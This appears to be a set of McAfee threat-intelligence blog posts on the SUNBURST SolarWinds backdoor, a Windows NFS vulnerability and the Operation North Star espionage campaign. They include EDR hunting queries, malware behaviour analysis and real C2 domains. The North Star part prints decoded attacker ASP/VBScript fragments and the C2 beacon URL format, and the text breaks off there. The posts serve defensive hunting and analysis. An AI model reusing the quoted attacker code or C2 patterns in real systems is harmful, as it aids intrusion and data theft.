You can use MVISION EDR or MAR to search endpoints for SUNBURST indicators as provided by Microsoft and FireEye. If you are licensed for MVISION Insights, you can pivot directly to MVISION EDR to search for indicators. MVISION EDR supports real-time searches to hunt for presence of files on the endpoints and allows for sweeps across the estate. The following query can be used with the pre-populated malicious file hash list. The presence of the file on the system is itself does not mean it was successful and further hunting to check for execution of the actual malicious code on the system.is needed. See the search syntax below.

 

Begin MVEDR Query Syntax…

Files name, full_name, md5, sha256, created_at, create_user_name, create_user_domain and HostInfo hostname, ip_address, os and LoggedInUsers username, userdomain where Files sha256 equals “ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c” or Files sha256 equals “c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77” or Files sha256 equals “eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed” or Files sha256 equals “dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b” or Files sha256 equals “32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600” or Files sha256 equals “53f8dfc65169ccda021b72a62e0c22a4db7c4077f002fa742717d41b3c40f2c7” or Files sha256 equals “019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134” or Files sha256 equals “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6” or Files sha256 equals “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “292327e5c94afa352cc5a02ca273df543f2020d0e76368ff96c84f4e90778712” or Files sha256 equals “c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71”

 

…End MVEDR Query Syntax

Figure 6: Real Time Search for indicators

Additionally, you can do a historical search creation and deletion of files going back up to 90 days in cloud storage.

Figure 7: Historical Search and Modification of Files

The threat actor is known to rename system utilities/files and clean up their tracks. MVISION EDR can review historical changes to the file system, this is crucial in determining if an endpoint was a victim of this attack. The flexible search interface can be used to filter down and track the progress of the completion of the attacker’s objectives for e.g. look at changes triggered from the infected dll’s such as netsetupsvc.dll.

Hunting for Malicious Network Connections

MVISION EDR allows for tracing of active network connections leveraging the real time search functionalities

 

Figure 8: Realtime Network Connections

You can also leverage the historical search function to look for historical connections related to the command and control activity for this threat actor. The filtering by process ID and source/destination IP allows analysts to track down the malicious communications.

Figure 9: Historical Network Connections

MVISION EDR also allows analysts to review historical DNS lookups thus allowing for the ability to hunt for malicious DNS lookups. This is a very important capability in the product as many organizations do not log DNS or have a DNS hierarchy that makes it harder to log the end device making the actual request.

Figure 10: Historical DNS Searches

Hunting for Malicious Named Pipes Across the Estate

MVISION EDR includes custom collector creation ability that allows for execution of custom commands across the estate. In this case, it’s possible to look for the existence of the Named Pipes by executing the following Powershell command:

Figure 11: EDR Named Pipe Collector

Powershell Command for Pipe detection [System.IO.Directory]::GetFiles(“\\.\\pipe\\”) | %{($_ -split “\\”)[6]}

Figure 12: Realtime Search for Named Pipe

HostInfo hostname, ip_address, os where _NamedPipe pipename contains “583da945-62af-10e8-4902-a8f2 05c72b2e”

Hunting for Malicious Processes

It is known the attacker in its final stages leverages legitimate SolarWinds processes to complete their objectives:

 

\Windows\SysWOW64\WerFault.exe

\SolarWinds\Orion\ExportToPDFCmd.Exe

\SolarWinds\Orion\APM\APMServiceControl.exe

\SolarWinds.Credentials\SolarWinds.Credentials.Orion.WebApi.exe

\SolarWinds\Orion\Topology\SolarWinds.Orion.Topology.Calculator.exe

\SolarWinds\Orion\Database-Maint.exe

 

ProcessHistory parentname, name, id, cmdline WHERE ProcessHistory parentname equals “WerFault.exe” or ProcessHistory parentname equals “ExportToPDFCmd.Exe” or ProcessHistory parentname equals “APMServiceControl.exe” or ProcessHistory parentname equals “SolarWinds.Credentials.Orion.WebApi.exe” or ProcessHistory parentname equals “SolarWinds.Orion.Topology.Calculator.exe” or ProcessHistory parentname equals “\SolarWinds\Orion\Database-Maint.exe”

Hunting back longer than 90 days with EDR Trace Data

MVISION EDR’s architecture leverages the Data Exchange Layer to stream trace data to our cloud service where we apply analytics to identify or investigate a threat. Trace data are artifacts from the endpoint, such as file hashes, processes, communications, typically needed for endpoint detection and searches. The DXL architecture allows that data to be streamed to the cloud as well to a local data store such as a SIEM or other log storage like Elastic simultaneously.

Figure 14: Long term search of EDR trace data in a Kibana dashboard

 

Figure 15: Long term search of EDR trace data in a Sp dashboard

You can store the data longer than the 90-day maximum McAfee stores in our cloud. Why is this important? Recent analysis of SUNBURST suggests that the attack goes as far back as March 2020, and perhaps earlier. This local storage would provide capability to hunt for indicators further back as needed, if so configured.

Assessing Visibility

How do you know what data sources are needed to detect Mitre Att&ck tactics and techniques? Carlos Diaz from MVISION EDR engineering wrote a great tool called Mitre-Assistant to simplify that process. You can download that tool here.

Detecting Actions on Objective

Post Initial Exploit Threat Detection and Analysis in EDR

One of the key challenges threat hunters and security analysts face is where the attack progresses through to the second phase of the attack, where it is understood the attacker has dropped malware to execute and complete their objectives. This usage of sophisticated execution of malware from a trusted process is detected by MVISION EDR and automatically mapped to the MITRE ATT&CK Framework. As part of the detection and process tracing, EDR also captures the command executed on the endpoint. This becomes invaluable in case of tracking the manual OPSEC aspect of the second phase of the attack.

Figure 16: Mitre analysis and threat detection for post exploit execution

MVISION EDR provides extensive capabilities to respond to threats once they have been assessed, e.g. real-time searches once executed allows analysts to scope the affected endpoints rapidly at which point the solution offers multiple options as a method for containment and remediation of the threat across the estate through bulk operations.

Figure 17: EDR Bulk Threat Mitigation

Detecting Data Exfiltration, Lateral Movement and Prevention

MVISION EDR provides a way to easily visualize data egress by looking at topology view of the endpoints where malicious activity has been detected, by observing the network-flow map the outlier connections can be easily identified and then correlated with WHOIS, IP reputation and Passive DNS data from providers like McAfee GTI and Virustotal. Once established, the external connections can be blocked and the endpoint can be quarantined from the EDR console. EDR also shows common processes spawning across multiple endpoints to showcase lateral movement and is also tagged as part of the MITRE techniques being identified and detected.

Figure 18: EDR Lateral Movement and Exfiltration

Combining EDR with Deception technology such as that from Attivo Networks brings together a combination of offensive detection where the attacker can be effectively trapped as result of not getting hold of the real credentials required to make the lateral movement/ privilege escalation a success thus failing in their objective completion.

An integrated approach to DLP can also provide effective protection against the completion of the objectives for e.g. unified DLP policy across the endpoint and web-gateway looking for exfiltration of sensitive organizational data can also provide valuable defenses. McAfee’s UCE platform provides such unified data protection capabilities.

Cloud account compromise detection

Our latest research indicates attacker is actively looking to establish additional footholds into customer cloud environments such as Azure AD or bypass multi-factor authentication by hijacking SAML sessions, McAfee’s MVISION Cloud Access Control and User Anomaly Detection can identify suspicious access attempts to cloud services and infrastructure.

It is recommended to increase monitoring and investigations into such activity especially with privileged accounts on sensitive infrastructure

Supply Chain and Intellectual Property Protection

In addition to architecture review and continuous hunting for indicators, it is recommended that customers work with their suppliers – IT, Cloud Services, Infrastructure, Hardware, etc. – to validate integrity. Secondly, review controls, detection use cases in the SOC and logs, specifically related to your intellectual property. A tabletop exercise to rehearse crisis management and breach notification procedures is also recommended.

Summary and Next Steps

It’s important to note that analysis of this attack is ongoing across the globe and events are still unfolding. The presence/detection of the backdoor and affected software is just the beginning for many customers. MVISION EDR or other tool detections of malicious named-pipe presence and domains help indicate to a customer if the backdoor was running, but with the gathered system information, the adversary may have valid accounts and access to AD or Cloud systems in some cases. The adversary has been wiping information/log files to erase traces. Incident Response is a critical piece of your overall business resilience and if you are affected, you will no doubt be asking yourself these types of questions.

  • When did we install the vulnerable software?
  • Did they compromise user-accounts and have AD access?
  • Did they install additional backdoors?
  • How many systems and accounts are affected?
  • Were cloud or enterprise resources accessed?
  • Was information stolen? If so, do we have notification procedures?
  • Are there other supply chain compromises yet undiscovered?

McAfee will continue to post analysis results and defensive guidance as we learn more about the attack. Customers should follow McAfee Labs posts, check the Insights Preview Dashboard for latest threat intelligence, and continually check the Knowledge Center for latest product guidance.

The post How A Device to Cloud Architecture Defends Against the SolarWinds Supply Chain Compromise appeared first on McAfee Blogs.

Additional Analysis into the SUNBURST Backdoor

Executive Summary

There has been considerable focus on the recent disclosures associated with SolarWinds, and while existing analysis on the broader campaign has resulted in detection against specific IoCs associated with the Sunburst trojan, the focus within the Advanced Threat Research (ATR) team has been to determine the possibility of additional persistence measures. Our analysis into the backdoor reveals that the level of access lends itself to the assumption that additional persistence mechanisms could have been established and some inferences regarding the intent from adversaries;

  • An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and it’s version “3.0.0.382”. The ImprovementClient is a program that can collect considerable information such as count of Orion user accounts by authentication method and data about devices and applications monitored.
  • Observation of the http routine was the search for certain keywords in the http-traffic that might indicate the adversary was looking into details/access of Cloud and/or wireless networks of their victims.
  • Even if a victim is using a Proxy-server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2.

Available Resources

Although this analysis will focus on the premise that the backdoor supports the feasibility of establishing additional persistence methods we recognize the importance of providing assurance regarding coverage against available indicators. To that end the following resources are available:

Additional resources will become available as analysis both conducted by McAfee researchers, and the wider community becomes available.

Backdoor Analysis

There exists excellent analysis from many of our industry peers into the SUNBURST trojan, and the intention here is not to duplicate findings but to provide analysis we have not seen previously covered. The purpose is to enable potential victims to better understand the capabilities of the campaign in an effort to consider the possibility that there are additional persistence mechanisms.

For the purposes of this analysis our focus centered upon the file “SolarWinds.Orion.Core.BusinessLayer.dll“, this particular file, as the name suggests, is associated with the SolarWinds ORION software suite and was modified with a class added containing the backdoor “SunBurst”.

Figure 1 Added module and dependencies

A deeper dive into the backdoor reveals that the initial call is to the added class “OrionImprovementBusinessLayer” which has the following functions:

 

Figure 2 Start of the inserted class

The class starts with a check to see if the module is running and, if not, it will start the service and thereafter initiate a period of dormancy.

 

Figure 3 Sleep sequence of backdoor

As was detailed by FireEye, this period of sleep can range from minutes up to two weeks. The actual time period of dormancy is dependent on the checks that must be passed from the code, like hash of the Orion process, write-times of files, process running etc. A sleep period of this length of time is unusual and speaks to a very patient adversary.

The most important strings inside the backdoors are encoded with the DeflateStream Class of the .NET’s Compression library together with the base64 encoder. By examining the block-list, we discover findings that warrant further inspection. First entries are the local-IP address ranges and netmasks:

  • 10.0.0.0 255.0.0.0
  • 172.16.0.0 255.240.0.0
  • 192.168.0.0 255.255.0.0

Followed by the IPv6 local addresses equivalents:
fc00::,fe00::, fec0::,ffc0::,ff00::,ff00::

Next, there is a list of IP-addresses and their associated subnetmasks. We executed a whois on those IP-addressees to get an idea of whom they might belong to. There is no indication as to the reason that the following IPs have been inserted into the blocklist, although the netmasks implemented in certain entries are ‘quite’ specific, therefore we have to assume the attackers were intentional in their desire to avoid certain targets.

Assuming that the victim is not within the block list, the sample will then proceed to create the named pipe 583da945-62af-10e8-4902-a8f205c72b2e. This is done to ensure that only one instance of the backdoor is running. We were able to verify this through replication we carried out within our own environment.

Figure 4 Running of Backdoor

When we ran the backdoor, we were able to confirm that this value is hardcoded in the code, and once the dormancy period passed the service is started and named pipe is created. At this point, the backdoor will also create a unique UserID MD5 value for the system it is installed on as depicted within figure 5.

Figure 5 Creation of User-ID

This particular routine will initially read the Device-info of the system but ignore the loopback interfaces (part of the code of the ReadDeviceInfo routine that mentions “Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true” ). The Device-info will then be combined with the domain name, followed by a value from the registry key (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography). This information is then used to create an MD5 value of that string.

The module will start the ‘update’ routine. This routine is a continuous loop designed for verification against, for example, unwanted services that could potentially be used against detection of the backdoor as depicted in figure 6.

 

Figure 6 Update Loop

Information Gathering

The backdoor gathers information from the system. The following information is gathered by a routine called “CollectSystemDescription”, some examples include;

  • OS version, major /minor – is it 32 or 64 bits
  • Network configs, info on IP, NetBIOS, IPV6 etc.
  • Host, SID & Username & System directory. In particular the SID for the Administrator account is searched for.

There exists other subroutines to collect additional data, for example enumerating the information from the network-adaptors, the backdoor uses the GetNetworkAdapterConfiguration routine. The routine is gathering the following information:

Figure 7 Gathering network information

In order to check if certain ‘unwanted’ services are running, the backdoor enumerates the services, creates a hashlist and compares them with a hard-coded set of these values. The ‘update’ routine will exit once a ‘block-listed’ process id discovered. The backdoor will attempt to stop these services by entering a value in the registry for that service that will disable that service. The update routine will check again and continue this process until all unwanted processes are disabled.
Another capability of the backdoor is to start/stop tasks:

Figure 8 Kill/Run task routine

Other functionalities we observed in the code are:

  • SetTime
  • CollectSystemDescription
  • UploadSystemDescription
  • GetProcessByDescription
  • GetFileSystemEntries
  • WriteFile
  • FileExists
  • DeleteFile
  • GetFileHash
  • ReadRegistryValue
  • SetRegistryValue
  • DeleteRegistryValue
  • GetRegistrySubKeyAndValueNames
  • Reboot

An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and it’s version “3.0.0.382”.

Figure 9 Searching for ImprovementClient

The ImprovementClient is a program that can collect the following information (source SolarWinds) :

  • The SWID (SolarWinds ID) associated with any SolarWinds commercial licenses installed
  • The email address provided to the installer during installation
  • Unique identifier of the downloaded installer
  • Versions of all Orion products installed
  • Operating system version
  • CPU description and count
  • Physical memory installed and percent used
  • Time zone
  • Dates when you logged in to the Orion website
  • Licensing information of other SolarWinds Orion products locally installed
  • Row counts for database tables
  • Count of monitored nodes by polling protocol
  • Count of Orion user accounts by authentication method
  • Network discovery scheduling information (not results)
  • Data about devices and applications monitored:
    • Vendor
    • Model
    • OS/Firmware version
    • Count
    • Abstract configuration information, such as number of websites hosted
  • Data about the SolarWinds product:
    • Feature usage statistics
    • Performance statistics
    • Hardware and OS platform description

Another observation of the http routine was the search for certain keywords in the http-traffic that might indicate the adversary was looking into details/access of cloud and/or wireless networks of their victims by using the SolarWinds’ modules that are installed to monitor/administer these kinds of instances. Managing the network using SolarWinds’ Orion is executed by using a browser and localhost that is hosting the webserver. Reading out the certificate values and search for these keywords in the http-traffic would have gained this information.

Figure 10 Search for keywords

Network / DGA

After all checks and routines have passed, the backdoor will use a domain generating algorithm (hereafter DGA) to generate a domain. Example of the part of the DGA code:

Figure 11 DGA code example

When the domain is successfully reached, the routine called ‘Update’ contains a part that will act on this and start a new thread firing off the routine “HttpHelper.Initialize”. In the below screenshot we can observe that flow:

Figure 12 DGA, HttpHelper

The code shows that when the dnsrecord equals the domain and can be reached, the new thread will start in the background.

The ‘HttpHelper’ class/routine is responsible for all the C2 communications:

Figure 13 HttpHelp

Even if a victim is using a Proxy-server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2. It then uses a routine called “IWebProxy GetWebProxy” for that:

Figure 14 Getting proxy username and pwd

The DGA-generated C2s are subdomains of: avsvmcloud[.]com.
An example of how these domains would look:

  • 02m6hcopd17p6h450gt3.appsync-api.us-west-2.avsvmcloud.com
  • 039n5tnndkhrfn5cun0y0sz02hij0b12.appsync-api.us-west-2.avsvmcloud.com
  • 043o9vacvthf0v95t81l.appsync-api.us-east-2.avsvmcloud.com
  • 04jrge684mgk4eq8m8adfg7.appsync-api.us-east-2.avsvmcloud.com
  • 04r0rndp6aom5fq5g6p1.appsync-api.us-west-2.avsvmcloud.com
  • 04spiistorug1jq5o6o0.appsync-api.us-west-2.avsvmcloud.com

Inspecting the CNAME’s from the DGA-generated C2’s we observed the following domain-names:

  • freescanonline[.]com
  • deftsecurity[.]com
  • thedoccloud[.]com
  • websitetheme[.]com
  • highdatabase[.]com
  • incomeupdate[.]com
  • databasegalore[.]com
  • panhardware[.]com
  • Zupertech[.]com
  • Virtualdataserver[.]com
  • digitalcollege[.]org

In the forementioned HTTP handler code, we discovered paths that might be installed on the C2’s for different functions:

  • swip/upd/
  • swip/Events
  • swip/Upload.ashx

Once the backdoor is connected, depending on the objectives from the adversaries, multiple actions can be executed including the usage of multiple payloads that can be injected into memory. At the time of writing, details regarding the ‘killswitch’ against the above domain will prevent this particular backdoor from being operational, however for the purpose of this analysis it demonstrates the level of access afforded to attackers. While the efforts to sinkhole the domain are to be applauded, organisations that have been able to identify indicators of SUNBURST within their environment are strongly encouraged to carry out additional measures to provide themselves assurances that further persistent mechanisms have not been deployed.

The post Additional Analysis into the SUNBURST Backdoor appeared first on McAfee Blogs.

SUNBURST Malware and SolarWinds Supply Chain Compromise

Part I of II

Situation

In a blog post released 13 Dec 2020, FireEye disclosed that threat actors compromised SolarWinds’s Orion IT monitoring and management software with a trojanized version of SoalrWinds.Orion.Core.BusinessLayer.dll. The trojanized file delivers the SUNBURST malware through a backdoor as part of a digitally-signed Windows Installer Patch. Use of a Compromised Software Supply Chain (T1195.002) as an Initial Access technique is particularly critical as it can go undetected for a long period. FireEye released countermeasures that can identify the SUNBURST malware.

If you are using SolarWinds software, please refer to the company’s guidance here to check for vulnerable versions and patch information. McAfee has evaluated the published countermeasures and will continue to analyze further attack indicators. It’s important to note that this was a very sophisticated attack and customers are advised to assess their overall security architecture capability to either prevent, detect or respond to an APT threat. This attack reminds us that in today’s digital enterprise the supply chain includes many diverse elements including but not limited to critical equipment and hardware, cloud software and infrastructure as a service provider and critical IT software. Customers are advised to assess both intellectual property protection and supply chain integrity strategies. Part one of this blog series details initial McAfee defensive guidance and response actions. Part two will describe additional mitigation and solution recommendations.

Protection Summary

For the latest information on McAfee see KB93861and subscribe to receive updates. Below is protection summary to date for the known backdoor indicators

  • GTI Cloud and latest DAT has coverage for known indicators and C2 domains for the backdoor
  • McAfee Web Gateway can block known C2 domains
  • McAfee is continuing to review other detection approaches, including Real Protect and Endpoint Detection and Response
  • McAfee Advanced Threat Researchers continue to hunt for new indicators. Intelligence updates will be made available in MVISION Insights
  • Signatures are available for Network Security Platform to detect network indicators of compromise

McAfee Labs will continue analysis for any known indicators associated with this attack and update product protection accordingly.  Furthermore, analysis is underway to analyse the behavioural components of the campaign and ensure product efficacy considers protection beyond static measures such as signatures. 

Threat Intelligence Summary

MVISION Insights is tracking the campaign as SolarWinds Supply Chain Attack Affecting Multiple Global Victims with SUNBURST Backdoor.  Customers can view the public version of MVISION Insights for the latest attack details, prevalence, techniques used and indicators of compromise.

 Figure 1: Attack Summary

Insights provides the indicators used by SUNBURST. The indicators will continue to update based on automated collection and human analysis. You can use the indicators to hunt on your network.  Note: This will be updated as new indicators are verified.

Figure 2: Campaign Indicators

Insights outlines the MITRE Att&ck techniques used by SUNBURST. You can use MITRE Att&ck framework to asses defensive capability across your security architecture.

 Figure 3: Mitre Att&ck Framework

HUNTING FOR THE BACKDOOR INDICATORS

One of the first initial response actions should be to hunt for known indicators of the attack. You can use MVISION EDR or MAR to search endpoints for SUNBURST backdoor indicators as provided by Microsoft and FireEye. See the search syntax below. If you are licensed for MVISION Insights this query will take place automatically. Additional defensive guidance will be published in an upcoming blog.

 

Begin MVEDR Query Syntax…

 

Files name, full_name, md5, sha256, created_at, create_user_name, create_user_domain and HostInfo hostname, ip_address, os and LoggedInUsers username, userdomain where Files sha256 equals “ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c” or Files sha256 equals “c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77” or Files sha256 equals “eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed” or Files sha256 equals “dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b” or Files sha256 equals “32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600” or Files sha256 equals “53f8dfc65169ccda021b72a62e0c22a4db7c4077f002fa742717d41b3c40f2c7” or Files sha256 equals “019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134” or Files sha256 equals “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6” or Files sha256 equals “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “292327e5c94afa352cc5a02ca273df543f2020d0e76368ff96c84f4e90778712” or Files sha256 equals “c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71”

 

…End MVEDR Query Syntax

 

You should also search McAfee Web Gateway logs (or other network and SIEM logs) for communication to command and control domains or IP addresses, particularly those categorized as “Malicious Sites” below. Continue to check MVISION Insights for new domains and URLs.

 

What’s Next

It’s important to note that ongoing analysis will be critical to understand how the attackers will adapt and what additional mitigation is required. This will be a continuous process and we expect to add multiple updates to KB93861. Additionally, customers should follow McAfee Labs posts, check Insights Public Dashboard for latest threat intelligence, and continually check the Knowledge Center for latest product guidance. Part two of this blog will cover defensive capabilities and controls in more depth.

Additional McAfee Threat Intel Resources

Insights Trending Campaigns

Every week Insights Preview highlights the top emerging threats and campaigns based on ATR Operational Intelligence collection and analysis.

Atlas Dashboard

Follow the latest COVID Threat statistics on the public Atlas Dashboard.  For more information about how a customer can utilize Atlas and Intelligence as a Service from APG, speak to your McAfee Account Manager for a Threat Intel Briefing and Workshop.

Threat Research

McAfee Labs and Advanced Threat Research teams produce regular research reports with the latest threat intelligence statistics and trends. Please share the reports with customers.

McAfee Threat Intelligence Blogs

Review and Share our external blogs that feature deeper malware analysis and explanations on emerging threats and attack campaigns.

The post SUNBURST Malware and SolarWinds Supply Chain Compromise appeared first on McAfee Blogs.

CVE-2020-17051: Remote kernel heap overflow in NFSv3 Windows Server

CVSS Score: 9.8 

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C 

Overview 

Microsoft released a patch today for a critical vulnerability (CVE-2020-17051) in the Windows NFSv3 (Network File System) server. NFS is typically used in heterogenous environments of Windows and Unix/Linux for file sharing. The vulnerability can be reproduced to cause an immediate BSOD (Blue Screen of Death) within the nfssvr.sys driver. Interestingly, the November patches from Microsoft also include a remote kernel data read vulnerability in the same nfssvr.sys driver (CVE-2020-17056), which leads to a potential ASLR (address space layout randomizationbypass. The combination of these two vulnerabilities dramatically increases the likelihood of a remote exploit when used on Windows Server to bypass exploit mitigations.  CVE-2020-17051 is the first known vulnerability which has been disclosed within the Windows implementation of the NFSv3 protocol to the best of our knowledge.  

Threat Surface 

The vulnerability is believed to impact all versions of Windows Server when: 

  1. An authenticated user has write access to any NFS share. 
  2. An NFS share has been configured with anonymous write access (no authentication required) 

A Shodan query reported 38,893 servers with port 2049 exposed to the internet; however, it is unknown what percentage of these servers are actually NFS shares and actuallconfigured with anonymous write access. The network share discovery technique is typically used by an adversary within the discovery phase of the MITRE ATT&CK framework with the objective to gain further privileges. CVE-2020-17051 would give adversaries the ability to spread wormlike within heterogenous Windows and Unix/Linux environments using anonymous write access file shares over NFSv3. 

Mitigation 

Patching is always the first and most effective course of action. If it’s not possible to patch, the best mitigation is to limit Windows NFSv3 server share write access internally and block any external access to vulnerable servers. For those McAfee customers who are unable to deploy the Windows patch, the following Network Security Platform (NSP) signatures will provide a virtual patch against attempted exploitation of this vulnerability. 

NSP Attack ID: 0x40c01200 – NFS Microsoft Windows Network File System Remote Code Execution Vulnerability (CVE-2020-17051) 

The post CVE-2020-17051: Remote kernel heap overflow in NFSv3 Windows Server appeared first on McAfee Blogs.

Operation North Star: Behind The Scenes

Executive Summary

It is rare to be provided an inside view on how major cyber espionage campaigns are conducted within the digital realm. The only transparency afforded is a limited view of victims, a malware sample, and perhaps the IP addresses of historical command and control (C2) infrastructure.

The Operation North Star campaign we detailed earlier this year provided just this. This campaign used social media sites, spearphishing and weaponized documents to target employees working for organizations in the defense sector. This early analysis focused on the adversary’s initial intrusion vectors, described the first stages of how an implant was installed, and how it interacted with the Command and Control (C2) server.

However, that initial disclosure left gaps such as the existence of secondary payload, and additional insights into how the threat actors carried out their operations and who they targeted. The updated report takes a unique deep dive following our identification of previously undiscovered information into the backend infrastructure run by the adversaries.

These findings reveal a previously undiscovered secondary implant known as Torisma. However, more telling are the operational security measures that were undertaken to remain hidden on compromised systems. In particular, we saw the application of an Allow and Block list of victims to ensure the attacker’s secondary payload did not make its way to organizations that were not targeted. This tells us that certainly there has been a degree of technical innovation exhibited not only with the use of a template injection but also in the operations run by the adversary.

Finally, while we cannot confirm the extent of the success of the adversary’s attacks, our analysis of their C2 log files indicate that they launched attacks on IP-addresses belonging to internet service providers (ISPs) in Australia, Israel and Russia, and defense contractors based in Russia and India.

The findings within this report are intended to provide you, the reader, unique insights into the technology and tactics the adversary used to target and compromise systems across the globe.

Compromised Site

Operation North Star C2 infrastructure consisted of compromised domains in Italy and other countries. Compromised domains belonged, for example, to an apparel company, an auction house and printing company. These URLs hosted malicious DOTM files, including a malicious ASP page.

  • hxxp://fabianiarte.com:443/uploads/docs/bae_defqa_logo.jpg
  • hxxps://fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg
  • https://www.fabianiarte.com/include/action/inc-controller-news.asp

The domain fabianiarte.com (fabianiarte.it) was compromised to host backend server code and malicious DOTM files. This domain hosted DOTM files that were used to mimic defense contractors’ job profiles as observed in Operation North Star, but the domain also included some rudimentary backend server code that we suspect was used by the implant. Log files and copies appeared in the wild pertaining to the intrusion of this domain and provided further insight. According to our analysis of this cache of data this site was compromised to host code on 7/9/2020.

Two DOTM files were discovered in this cache of logs and other intrusion data. These DOTM files belong to campaigns 510 and 511 based on the hard-coded value in the malicious VB scripts.

  • 22it-34165.jpg
  • 21it-23792.jpg

Developments in Anti-Analysis Techniques

During our analysis we uncovered two DOTM files as part of the cache of data pertaining to the backend. In analyzing first stage implants associated with the C2 server over a period of seven months, we found that there were further attempts by the adversary to obfuscate and confuse analysts.

Having appeared in July, these DOTM files contained first stage implants embedded in the same location as we documented in our initial research.  However, previous implants from other malicious DOTM files were double base64 encoded and the implants themselves were not further obfuscated. However, there were some notable changes in the method that differed from those detailed in our initial research:

  • The first stage implant that is nested in the DOTM file, is using triple base64 encoding in the Visual Basic Macro
  • The extracted DLL (desktop.dat) is packed with the Themida packer attempting to make analysis more difficult.

The first stage implant extracted from the DOTM files contains an encrypted configuration file and an intermediate dropper DLL. The configuration file, once decrypted, contains information for the first stage implant. The information includes the URL for the C2 and the decryption keys for the second stage payload called “Torisma”.

Contents of decrypted configuration

Because the configuration file contains information on how to communicate with the C2, it also stores the parameter options (ned, gl, hl). In this case, we see an unknown fourth parameter known as nl, however it does not appear to be implemented in the server-side ASP code. It is possible that the adversary may have intended to implement it in the future.

Appearance of nl parameter

In addition, analysis of the backend components for this compromised server enables us to draw a timeline of activity on how long the attacker had access. For example, the DOTM files mentioned above were placed on the compromised C2 server in July 2020. Some of the main malicious components involved in the backend operation were installed on this server in January 2020, indicating that this C2 server had been running for seven months.

Digging into the Heart of Operation North Star – Backend

Inc-Controller-News.ASP

As we covered in our initial Operation North Star research, the overall attack contained a first stage implant delivered by the DOTM files. That research found specific parameters used by the implant and that were sent to the C2 server.

Further analysis of the implant “wsdts.db” in our case, revealed that it gathers information of the victim’s system. For example:

  • Get system disks information
  • Get Free disk space information
  • Get Computer name and (logged in) Username
  • Process information

When this information is gathered, they will be communicated towards the C2 server using the parameters (ned, gl, hl).

These parameters are interpreted by an obfuscated server-side ASP page, based on the values sent will depend on the actions taken upon the victim. The server-side ASP page was placed on the compromised server January 2020.

Additionally, based on this information the adversary is targeting Windows servers running IIS to install C2 components.

The server-side ASP page contains a highly obfuscated VBScript embedded that, once decoded, reveals code designed to interact with the first stage implant. The ASP page is encoded with the VBScript.Encode method resulting in obfuscated VBScript code. The first stage implant interacts with the server-side ASP page through the usage of these finite parameters.

Encoded VBScript

Once the VBScript has been decoded it reveals a rather complex set of functions. These functions lead to installing additional stage implants on the victim’s system. These implants are known as Torisma and Doris, both of which are base64 encoded. They are loaded directly into memory via a binary stream once conditions have been satisfied based on the logic contained within the script.

Decoded VBScript

The ASP server-side script contains code to create a binary stream to where we suspect the Torisma implant is written. We also discovered that the Torisma implant is embedded in the ASP page and decoding the base64 blob reveals an AES encrypted payload. This ASP page contains evidence that indicates the existence of logic that decodes this implant and deliver it to the victim.

function getbinary(sdata)

const adtypetext = 2

const adtypebinary = 1

dim binarystream

dim aa

aa = “adodb.stream”

set binarystream = createobject(aa)

binarystream.type = adtypetext

binarystream.charset = “unicode”

binarystream.open

binarystream.writetext sdata

binarystream.position = 0

binarystream.type = adtypebinary

binarystream.position = 2

getbinary = binarystream.read

end function

Depending on the values sent, additional actions are performed on the targeted victim. Further analysis of the server-side script indicates that there is logic that depends on some mechanism for the actor to place a victim’s IP address in an allowed-list file. The second stage implant is not delivered to a victim unless this condition is met first. This alludes to the possibility that the actor is reviewing data on the backend and selecting victims, this is likely performed through another ASP page discovered (template-letter.asp).

The server-side ASP page contains code to interpret the data sent via the following parameters to execute additional code. The values to these parameters are sent by the first stage implant initially delivered by the DOTM files. These parameters were covered in our initial research, however having access to the C2 backend code reveals additional information about their true purpose.

Parameter Description
NED Campaign code embedded in DOTM Macro
GL System Information
HL Flag to indicate OS architecture (32 or 64 bits)

The URL query string is sent to the C2 server in the following format.

http://hostname/inc-controller-news.asp?ned=campaigncode&gl=base64encodeddata&hl=0

Further, code exists to get the infected victim’s IP address; this information is used to check if the IP address is allowed (get the second stage) or if the IP address has been blocked (prevent second stage). As mentioned previously, the addition of the victim’s IP address into the fake MP3 files is likely performed manually through identification of incoming connections through the stage 1 implant.

function getstripaddress()

on error resume next

dim ip

ip = request.servervariables(“http_client_ip”)

if ip = “”

then ip = request.servervariables(“http_x_forwarded_for”)

if ip = “”

then ip = request.servervariables(“remote_addr”)

end if end

if

getstripaddress = ip

end function

The full code of the logic gets the IP address for the connecting client machine and writing victim entries to a log file. In breaking down this code we can see different functionality is used that is most interesting. These log files are also stored within the WWW root of the compromised server based on the variable strlogpath.

